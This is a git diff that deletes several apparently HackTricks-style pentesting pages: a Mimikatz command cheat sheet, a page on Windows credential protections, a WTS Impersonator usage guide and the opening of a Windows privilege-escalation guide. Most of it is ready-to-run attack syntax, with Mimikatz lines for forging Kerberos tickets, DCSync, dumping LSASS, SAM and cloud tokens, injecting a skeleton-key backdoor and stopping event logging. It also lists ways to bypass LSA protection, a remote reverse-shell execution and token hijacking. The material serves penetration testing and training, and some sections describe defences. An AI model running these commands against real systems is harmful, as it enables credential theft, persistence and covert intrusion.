-- Mimikatz does not provide a direct command in its standard documentation for clearing event logs directly via its command line. However, event log manipulation typically involves using system tools or scripts outside of Mimikatz to clear specific logs (e.g., using PowerShell or Windows Event Viewer).
-
-#### Experimental Feature: Patching the Event Service
-
-- **Command**: `event::drop`
-- This experimental command is designed to modify the Event Logging Service's behavior, effectively preventing it from recording new events.
-- Example: `mimikatz "privilege::debug" "event::drop" exit`
-
-- The `privilege::debug` command ensures that Mimikatz operates with the necessary privileges to modify system services.
-- The `event::drop` command then patches the Event Logging service.
-
-### Kerberos Ticket Attacks
-
-Use the commands below as quick syntax reminders. The dedicated pages for [golden tickets](../active-directory-methodology/golden-ticket.md), [silver tickets](../active-directory-methodology/silver-ticket.md), [diamond tickets](../active-directory-methodology/diamond-ticket.md), and [over-pass-the-hash / pass-the-key](../active-directory-methodology/over-pass-the-hash-pass-the-key.md) contain the up-to-date AES/PAC/opsec nuances.
-
-### Golden Ticket Creation
-
-A Golden Ticket allows for domain-wide access impersonation. Key command and parameters:
-
-- Command: `kerberos::golden`
-- Parameters:
-  - `/domain`: The domain name.
-  - `/sid`: The domain's Security Identifier (SID).
-  - `/user`: The username to impersonate.
-  - `/krbtgt`: The NTLM hash of the domain's KDC service account.
-  - `/ptt`: Directly injects the ticket into memory.
-  - `/ticket`: Saves the ticket for later use.
-
-Example:
-
-```bash
-mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
-```
-
-### Silver Ticket Creation
-
-Silver Tickets grant access to specific services. Key command and parameters:
-
-- Command: Similar to Golden Ticket but targets specific services.
-- Parameters:
-  - `/service`: The service to target (e.g., cifs, http).
-  - Other parameters similar to Golden Ticket.
-
-Example:
-
-```bash
-mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
-```
-
-### Trust Ticket Creation
-
-Trust Tickets are used for accessing resources across domains by leveraging trust relationships. Key command and parameters:
-
-- Command: Similar to Golden Ticket but for trust relationships.
-- Parameters:
-  - `/target`: The target domain's FQDN.
-  - `/rc4`: The NTLM hash for the trust account.
-
-Example:
-
-```bash
-mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
-```
-
-### Additional Kerberos Commands
-
-- **Listing Tickets**:
-
-  - Command: `kerberos::list`
-  - Lists all Kerberos tickets for the current user session.
-
-- **Pass the Cache**:
-
-  - Command: `kerberos::ptc`
-  - Injects Kerberos tickets from cache files.
-  - Example: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
-
-- **Pass the Ticket**:
-
-  - Command: `kerberos::ptt`
-  - Allows using a Kerberos ticket in another session.
-  - Example: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
-
-- **Purge Tickets**:
-  - Command: `kerberos::purge`
-  - Clears all Kerberos tickets from the session.
-  - Useful before using ticket manipulation commands to avoid conflicts.
-
-### Over-Pass-the-Hash / Pass-the-Key
-
-If `RC4` is disabled or unreliable, Mimikatz can patch **AES128/AES256 Kerberos keys** into the current logon session instead of only using an NT hash. This is usually a better fit for modern domains than treating `sekurlsa::pth` as NTLM-only.
-
-```bash
-mimikatz "privilege::debug" "sekurlsa::ekeys" exit
-mimikatz "sekurlsa::pth /user:svc_sql /domain:corp.local /aes256:<AES256_HEX> /run:powershell.exe" exit
-mimikatz "sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /impersonate" exit
-```
-
-`/impersonate` reuses the current process instead of spawning a new console, which is handy when you want to immediately run things like `lsadump::dcsync` in the same context.
-
-### Active Directory Tampering
-
-- **DCShadow**: Temporarily make a machine act as a DC for AD object manipulation. See [DCShadow](../active-directory-methodology/dcshadow.md).
-
-  - `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
-
-- **DCSync**: Mimic a DC to request password data. See [DCSync](../active-directory-methodology/dcsync.md).
-  - `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
-
-### Credential Access
-
-- **LSADUMP::LSA**: Extract credentials from LSA.
-
-  - `mimikatz "lsadump::lsa /inject" exit`
-
-- **LSADUMP::NetSync**: Impersonate a DC using a computer account's password data.
-
-  - _No specific command provided for NetSync in original context._
-
-- **LSADUMP::SAM**: Access local SAM database.
-
-  - `mimikatz "lsadump::sam" exit`
-
-- **LSADUMP::Secrets**: Decrypt secrets stored in the registry.
-
-  - `mimikatz "lsadump::secrets" exit`
-
-- **LSADUMP::SetNTLM**: Set a new NTLM hash for a user.
-
-  - `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
-
-- **LSADUMP::Trust**: Retrieve trust authentication information.
-  - `mimikatz "lsadump::trust" exit`
-
-### Cloud credentials / Entra ID
-
-On **Entra ID** or **hybrid-joined** hosts, `sekurlsa::cloudap` can expose cached **Primary Refresh Token (PRT)** material from LSASS. If the associated Proof-of-Possession key is software-protected, `dpapi::cloudapkd` can derive the clear/derived key material needed for follow-on **Pass-the-PRT** workflows.
-
-```bash
-mimikatz "privilege::debug" "sekurlsa::cloudap" exit
-mimikatz "dpapi::cloudapkd /keyvalue:<ProofOfPossessionKey> /unprotect" exit
-mimikatz "dpapi::cloudapkd /context:<CONTEXT> /derivedkey:<DERIVED_KEY> /prt:<PRT>" exit
-```
-
-This becomes much harder when the key is TPM-backed, but it is worth checking on hybrid endpoints because the cached CloudAP data may be more interesting than classic `wdigest` output. For the cloud-side abuse chain, see [Pass the PRT](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html).
-
-### Miscellaneous
-
-- **MISC::Skeleton**: Inject a backdoor into LSASS on a DC.
-  - `mimikatz "privilege::debug" "misc::skeleton" exit`
-
-### Privilege Escalation
-
-- **PRIVILEGE::Backup**: Acquire backup rights.
-
-  - `mimikatz "privilege::backup" exit`
-
-- **PRIVILEGE::Debug**: Obtain debug privileges.
-  - `mimikatz "privilege::debug" exit`
-
-### Credential Dumping
-
-- **SEKURLSA::LogonPasswords**: Show credentials for logged-on users.
-
-  - `mimikatz "sekurlsa::logonpasswords" exit`
-
-- **SEKURLSA::Tickets**: Extract Kerberos tickets from memory.
-  - `mimikatz "sekurlsa::tickets /export" exit`
-
-### Sid and Token Manipulation
-
-- **SID::add/modify**: Change SID and SIDHistory.
-
-  - Add: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
-  - Modify: _No specific command for modify in original context._
-
-- **TOKEN::Elevate**: Impersonate tokens.
-  - `mimikatz "token::elevate /domainadmin" exit`
-
-### Terminal Services
-
-- **TS::MultiRDP**: Allow multiple RDP sessions.
-
-  - `mimikatz "ts::multirdp" exit`
-
-- **TS::Sessions**: List TS/RDP sessions.
-  - _No specific command provided for TS::Sessions in original context._
-
-### Vault
-
-- Extract passwords from Windows Vault.
-  - `mimikatz "vault::cred /patch" exit`
-
-
-## References
-
-- [The Hacker Tools – Mimikatz modules](https://tools.thehacker.recipes/mimikatz/modules/)
-- [Synacktiv – WHFB and Entra ID: Say Hello to your new cache flow](https://www.synacktiv.com/en/publications/whfb-and-entra-id-say-hello-to-your-new-cache-flow)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md
deleted file mode 100644
index 84e2da8ce41..00000000000
--- a/src/windows-hardening/stealing-credentials/credentials-protections.md
+++ /dev/null
@@ -1,212 +0,0 @@
-# Windows Credentials Protections
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## WDigest
-
-The [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **enabled by default on Windows XP through Windows 8.0 and Windows Server 2003 to Windows Server 2012**. This default setting results in **plain-text password storage in LSASS** (Local Security Authority Subsystem Service). An attacker can use Mimikatz to **extract these credentials** by executing:
-
-```bash
-sekurlsa::wdigest
-```
-
-To **toggle this feature off or on**, the _**UseLogonCredential**_ and _**Negotiate**_ registry keys within _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ must be set to "1". If these keys are **absent or set to "0"**, WDigest is **disabled**:
-
-```bash
-reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
-```
-
-## LSA Protection (PP & PPL protected processes)
-
-**Protected Process (PP)** and **Protected Process Light (PPL)** are **Windows kernel-level protections** designed to prevent unauthorized access to sensitive processes like **LSASS**. Introduced in **Windows Vista**, the **PP model** was originally created for **DRM** enforcement and only allowed binaries signed with a **special media certificate** to be protected. A process marked as **PP** can only be accessed by other processes that are **also PP** and have an **equal or higher protection level**, and even then, **only with limited access rights** unless specifically allowed.
-
-**PPL**, introduced in **Windows 8.1**, is a more flexible version of PP. It allows **broader use cases** (e.g., LSASS, Defender) by introducing **"protection levels"** based on the **digital signature’s EKU (Enhanced Key Usage)** field. The protection level is stored in the `EPROCESS.Protection` field, which is a `PS_PROTECTION` structure with:
-- **Type** (`Protected` or `ProtectedLight`)
-- **Signer** (e.g., `WinTcb`, `Lsa`, `Antimalware`, etc.)
-
-This structure is packed into a single byte and determines **who can access whom**:
-- **Higher signer values can access lower ones**
-- **PPLs can’t access PPs**
-- **Unprotected processes can't access any PPL/PP**
-  
-### What you need to know from an offensive perspective
-
-- When **LSASS runs as a PPL**, attempts to open it using `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` from a normal admin context **fail with `0x5 (Access Denied)`**, even if `SeDebugPrivilege` is enabled.
-- You can **check LSASS protection level** using tools like Process Hacker or programmatically by reading the `EPROCESS.Protection` value.
-- LSASS will typically have `PsProtectedSignerLsa-Light` (`0x41`), which can be accessed **only by processes signed with a higher-level signer**, such as `WinTcb` (`0x61` or `0x62`).
-- PPL is a **Userland-only restriction**; **kernel-level code can fully bypass it**.
-- LSASS being PPL does **not prevent credential dumping if you can execute kernel shellcode** or **leverage a high-privileged process with proper access**.
-- **Setting or removing PPL** requires reboot or **Secure Boot/UEFI settings**, which can persist the PPL setting even after registry changes are reversed.
-  
-### Create a PPL process at launch (documented API)
-
-Windows exposes a documented way to request a Protected Process Light level for a child process during creation using the extended startup attribute list. This does not bypass signing requirements — the target image must be signed for the requested signer class.
-
-Minimal flow in C/C++:
-
-```c
-// Request a PPL protection level for the child process at creation time
-// Requires Windows 8.1+ and a properly signed image for the selected level
-#include <windows.h>
-
-int wmain(int argc, wchar_t **argv) {
-    STARTUPINFOEXW si = {0};
-    PROCESS_INFORMATION pi = {0};
-    si.StartupInfo.cb = sizeof(si);
-
-    SIZE_T attrSize = 0;
-    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
-    si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
-    if (!si.lpAttributeList) return 1;
-
-    if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
-
-    DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
-    if (!UpdateProcThreadAttribute(
-            si.lpAttributeList, 0,
-            PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
-            &level, sizeof(level), NULL, NULL)) {
-        return 1;
-    }
-
-    DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
-    if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
-                        flags, NULL, NULL, &si.StartupInfo, &pi)) {
-        // If the image isn't signed appropriately for the requested level,
-        // CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
-        return 1;
-    }
-
-    // cleanup
-    DeleteProcThreadAttributeList(si.lpAttributeList);
-    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
-    CloseHandle(pi.hThread);
-    CloseHandle(pi.hProcess);
-    return 0;
-}
-```
-
-Notes and constraints:
-- Use `STARTUPINFOEX` with `InitializeProcThreadAttributeList` and `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, then pass `EXTENDED_STARTUPINFO_PRESENT` to `CreateProcess*`.
-- The protection `DWORD` can be set to constants such as `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, or `PROTECTION_LEVEL_LSA_LIGHT`.
-- The child only starts as PPL if its image is signed for that signer class; otherwise process creation fails, commonly with `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
-- This is not a bypass — it’s a supported API meant for appropriately signed images. Useful to harden tools or validate PPL-protected configurations.
-
-Example CLI using a minimal loader:
-- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
-- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
-
-**Bypass PPL protections options:**
-
-If you want to dump LSASS despite PPL, you have 3 main options:
-1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** to **remove LSASS’s protection flag**:
-
-![Mimikatz mimidrv driver output showing credential protection interaction](../../images/mimidrv.png)
-
-2. **Bring Your Own Vulnerable Driver (BYOVD)** to run custom kernel code and disable the protection. Tools like **PPLKiller**, **gdrv-loader**, or **kdmapper** make this feasible.
-3. **Steal an existing LSASS handle** from another process that has it open (e.g., an AV process), then **duplicate it** into your process. This is the basis of the `pypykatz live lsa --method handledup` technique.
-4. **Abuse some privileged process** that will allow you to load arbitrary code into its address space or inside another privileged process, effectively bypassing the PPL restrictions. You can check an example of this in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) or [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
-
-**Check current status of LSA protection (PPL/PP) for LSASS**:
-
-```bash
-reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
-```
-
-When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this.
-
-- For more information about this check [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
-
-
-## Credential Guard
-
-**Credential Guard**, a feature exclusive to **Windows 10 (Enterprise and Education editions)**, enhances the security of machine credentials using **Virtual Secure Mode (VSM)** and **Virtualization Based Security (VBS)**. It leverages CPU virtualization extensions to isolate key processes within a protected memory space, away from the main operating system's reach. This isolation ensures that even the kernel cannot access the memory in VSM, effectively safeguarding credentials from attacks like **pass-the-hash**. The **Local Security Authority (LSA)** operates within this secure environment as a trustlet, while the **LSASS** process in the main OS acts merely as a communicator with the VSM's LSA.
-
-By default, **Credential Guard** is not active and requires manual activation within an organization. It's critical for enhancing security against tools like **Mimikatz**, which are hindered in their ability to extract credentials. However, vulnerabilities can still be exploited through the addition of custom **Security Support Providers (SSP)** to capture credentials in clear text during login attempts.
-
-To verify **Credential Guard**'s activation status, the registry key _**LsaCfgFlags**_ under _**HKLM\System\CurrentControlSet\Control\LSA**_ can be inspected. A value of "**1**" indicates activation with **UEFI lock**, "**2**" without lock, and "**0**" denotes it is not enabled. This registry check, while a strong indicator, is not the sole step for enabling Credential Guard. Detailed guidance and a PowerShell script for enabling this feature are available online.
-
-```bash
-reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
-```
-
-For a comprehensive understanding and instructions on enabling **Credential Guard** in Windows 10 and its automatic activation in compatible systems of **Windows 11 Enterprise and Education (version 22H2)**, visit [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
-
-Further details on implementing custom SSPs for credential capture are provided in [this guide](../active-directory-methodology/custom-ssp.md).
-
-## RDP RestrictedAdmin Mode
-
-**Windows 8.1 and Windows Server 2012 R2** introduced several new security features, including the _**Restricted Admin mode for RDP**_. This mode was designed to enhance security by mitigating the risks associated with [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) attacks.
-
-Traditionally, when connecting to a remote computer via RDP, your credentials are stored on the target machine. This poses a significant security risk, especially when using accounts with elevated privileges. However, with the introduction of _**Restricted Admin mode**_, this risk is substantially reduced.
-
-When initiating an RDP connection using the command **mstsc.exe /RestrictedAdmin**, authentication to the remote computer is performed without storing your credentials on it. This approach ensures that, in the event of a malware infection or if a malicious user gains access to the remote server, your credentials are not compromised, as they are not stored on the server.
-
-It's important to note that in **Restricted Admin mode**, attempts to access network resources from the RDP session will not use your personal credentials; instead, the **machine's identity** is used.
-
-This feature marks a significant step forward in securing remote desktop connections and protecting sensitive information from being exposed in case of a security breach.
-
-![Windows RAM memory diagram for credential extraction context](../../images/RAM.png)
-
-For more detailed information on visit [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
-
-## Cached Credentials
-
-Windows secures **domain credentials** through the **Local Security Authority (LSA)**, supporting logon processes with security protocols like **Kerberos** and **NTLM**. A key feature of Windows is its capability to cache the **last ten domain logins** to ensure users can still access their computers even if the **domain controller is offline**—a boon for laptop users often away from their company's network.
-
-The number of cached logins is adjustable via a specific **registry key or group policy**. To view or change this setting, the following command is utilized:
-
-```bash
-reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
-```
-
-Access to these cached credentials is tightly controlled, with only the **SYSTEM** account having the necessary permissions to view them. Administrators needing to access this information must do so with SYSTEM user privileges. The credentials are stored at: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
-
-**Mimikatz** can be employed to extract these cached credentials using the command `lsadump::cache`.
-
-For further details, the original [source](http://juggernaut.wikidot.com/cached-credentials) provides comprehensive information.
-
-## Protected Users
-
-Membership in the **Protected Users group** introduces several security enhancements for users, ensuring higher levels of protection against credential theft and misuse:
-
-- **Credential Delegation (CredSSP)**: Even if the Group Policy setting for **Allow delegating default credentials** is enabled, plain text credentials of Protected Users will not be cached.
-- **Windows Digest**: Starting from **Windows 8.1 and Windows Server 2012 R2**, the system will not cache plain text credentials of Protected Users, regardless of the Windows Digest status.
-- **NTLM**: The system will not cache Protected Users' plain text credentials or NT one-way functions (NTOWF).
-- **Kerberos**: For Protected Users, Kerberos authentication will not generate **DES** or **RC4 keys**, nor will it cache plain text credentials or long-term keys beyond the initial Ticket-Granting Ticket (TGT) acquisition.
-- **Offline Sign-In**: Protected Users will not have a cached verifier created at sign-in or unlock, meaning offline sign-in is not supported for these accounts.
-
-These protections are activated the moment a user, who is a member of the **Protected Users group**, signs into the device. This ensures that critical security measures are in place to safeguard against various methods of credential compromise.
-
-For more detailed information, consult the official [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
-
-**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
-
-| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016          |
-| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
-| Account Operators       | Account Operators        | Account Operators                                                             | Account Operators            |
-| Administrator           | Administrator            | Administrator                                                                 | Administrator                |
-| Administrators          | Administrators           | Administrators                                                                | Administrators               |
-| Backup Operators        | Backup Operators         | Backup Operators                                                              | Backup Operators             |
-| Cert Publishers         |                          |                                                                               |                              |
-| Domain Admins           | Domain Admins            | Domain Admins                                                                 | Domain Admins                |
-| Domain Controllers      | Domain Controllers       | Domain Controllers                                                            | Domain Controllers           |
-| Enterprise Admins       | Enterprise Admins        | Enterprise Admins                                                             | Enterprise Admins            |
-|                         |                          |                                                                               | Enterprise Key Admins        |
-|                         |                          |                                                                               | Key Admins                   |
-| Krbtgt                  | Krbtgt                   | Krbtgt                                                                        | Krbtgt                       |
-| Print Operators         | Print Operators          | Print Operators                                                               | Print Operators              |
-|                         |                          | Read-only Domain Controllers                                                  | Read-only Domain Controllers |
-| Replicator              | Replicator               | Replicator                                                                    | Replicator                   |
-| Schema Admins           | Schema Admins            | Schema Admins                                                                 | Schema Admins                |
-| Server Operators        | Server Operators         | Server Operators                                                              | Server Operators             |
-
-## References
-
-- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
-- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
-- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
-- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
-- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/windows-hardening/stealing-credentials/wts-impersonator.md b/src/windows-hardening/stealing-credentials/wts-impersonator.md
deleted file mode 100644
index f93e1f653fb..00000000000
--- a/src/windows-hardening/stealing-credentials/wts-impersonator.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# WTS Impersonator
-
-{{#include ../../banners/hacktricks-training.md}}
-
-The **WTS Impersonator** tool exploits the **"\\pipe\LSM_API_service"** RPC Named pipe to stealthily enumerate logged-in users and hijack their tokens, bypassing traditional Token Impersonation techniques. This approach facilitates seamless lateral movements within networks. The innovation behind this technique is credited to **Omri Baso, whose work is accessible on [GitHub](https://github.com/OmriBaso/WTSImpersonator)**.
-
-### Core Functionality
-
-The tool operates through a sequence of API calls:
-
-```bash
-WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW
-```
-
-### Key Modules and Usage
-
-- **Enumerating Users**: Local and remote user enumeration is possible with the tool, using commands for either scenario:
-
-  - Locally:
-    ```bash
-    .\WTSImpersonator.exe -m enum
-    ```
-  - Remotely, by specifying an IP address or hostname:
-    ```bash
-    .\WTSImpersonator.exe -m enum -s 192.168.40.131
-    ```
-
-- **Executing Commands**: The `exec` and `exec-remote` modules require a **Service** context to function. Local execution simply needs the WTSImpersonator executable and a command:
-
-  - Example for local command execution:
-    ```bash
-    .\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
-    ```
-  - PsExec64.exe can be used to gain a service context:
-    ```bash
-    .\PsExec64.exe -accepteula -s cmd.exe
-    ```
-
-- **Remote Command Execution**: Involves creating and installing a service remotely similar to PsExec.exe, allowing execution with appropriate permissions.
-
-  - Example of remote execution:
-    ```bash
-    .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
-    ```
-
-- **User Hunting Module**: Targets specific users across multiple machines, executing code under their credentials. This is especially useful for targeting Domain Admins with local admin rights on several systems.
-  - Usage example:
-    ```bash
-    .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
-    ```
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
deleted file mode 100644
index b7763acefad..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ /dev/null
@@ -1,2158 +0,0 @@
-# Windows Local Privilege Escalation
-
-{{#include ../../banners/hacktricks-training.md}}
-
-### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
-
-## Initial Windows Theory
-
-### Access Tokens
-
-**If you don't know what are Windows Access Tokens, read the following page before continuing:**
-
-
-{{#ref}}
-access-tokens.md
-{{#endref}}
-
-### ACLs - DACLs/SACLs/ACEs
-
-**Check the following page for more info about ACLs - DACLs/SACLs/ACEs:**
-
-
-{{#ref}}
-acls-dacls-sacls-aces.md
-{{#endref}}
-
-### Integrity Levels
-
-**If you don't know what are integrity levels in Windows you should read the following page before continuing:**
-
-
-{{#ref}}
-integrity-levels.md
-{{#endref}}
-
-## Windows Security Controls
-
-There are different things in Windows that could **prevent you from enumerating the system**, run executables or even **detect your activities**. You should **read** the following **page** and **enumerate** all these **defenses** **mechanisms** before starting the privilege escalation enumeration:
-
-
-{{#ref}}
-../authentication-credentials-uac-and-efs/
-{{#endref}}
-
-### Admin Protection / UIAccess silent elevation
-
-UIAccess processes launched through `RAiLaunchAdminProcess` can be abused to reach High IL without prompts when AppInfo secure-path checks are bypassed. Check the dedicated UIAccess/Admin Protection bypass workflow here:
-
-{{#ref}}
-uiaccess-admin-protection-bypass.md
-{{#endref}}
-
-Secure Desktop accessibility registry propagation can be abused for an arbitrary SYSTEM registry write (RegPwn):
-
-{{#ref}}
-secure-desktop-accessibility-registry-propagation-regpwn.md
-{{#endref}}
-
-Recent Windows builds also introduced an **SMB arbitrary-port** LPE path where a privileged local NTLM authentication is reflected over a reused SMB TCP connection:
-
-{{#ref}}
-local-ntlm-reflection-via-smb-arbitrary-port.md
-{{#endref}}
-
-## System Info
-
-### Version info enumeration
-
-Check if the Windows version has any known vulnerability (check also the patches applied).
-
-```bash
-systeminfo
-systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
-wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
-wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
-```
-
-```bash
-[System.Environment]::OSVersion.Version #Current OS version
-Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
-Get-Hotfix -description "Security update" #List only "Security Update" patches
-```
-
-### Version Exploits
-
-This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **massive attack surface** that a Windows environment presents.
-
-**On the system**
-
-- _post/windows/gather/enum_patches_
-- _post/multi/recon/local_exploit_suggester_
-- [_watson_](https://github.com/rasta-mouse/Watson)
-- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_
-
-**Locally with system information**
-
-- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
-- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
-
-**Github repos of exploits:**
-
-- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
-- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
-- [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
-
-### Environment
-
-Any credential/Juicy info saved in the env variables?
-
-```bash
-set
-dir env:
-Get-ChildItem Env: | ft Key,Value -AutoSize
-```
-
-### PowerShell History
-
-```bash
-ConsoleHost_history #Find the PATH where is saved
-
-type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
-type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
-type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
-cat (Get-PSReadlineOption).HistorySavePath
-cat (Get-PSReadlineOption).HistorySavePath | sls passw
-```
-
-### PowerShell Transcript files
-
-You can learn how to turn this on in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
-
-```bash
-#Check is enable in the registry
-reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
-reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
-reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
-reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
-dir C:\Transcripts
-
-#Start a Transcription session
-Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
-Stop-Transcript
-```
-
-### PowerShell Module Logging
-
-Details of PowerShell pipeline executions are recorded, encompassing executed commands, command invocations, and parts of scripts. However, complete execution details and output results might not be captured.
-
-To enable this, follow the instructions in the "Transcript files" section of the documentation, opting for **"Module Logging"** instead of **"Powershell Transcription"**.
-
-```bash
-reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
-reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
-reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
-reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
-```
-
-To view the last 15 events from PowersShell logs you can execute:
-
-```bash
-Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
-```
-
-### PowerShell **Script Block Logging**
-
-A complete activity and full content record of the script's execution is captured, ensuring that every block of code is documented as it runs. This process preserves a comprehensive audit trail of each activity, valuable for forensics and analyzing malicious behavior. By documenting all activity at the time of execution, detailed insights into the process are provided.
-
-```bash
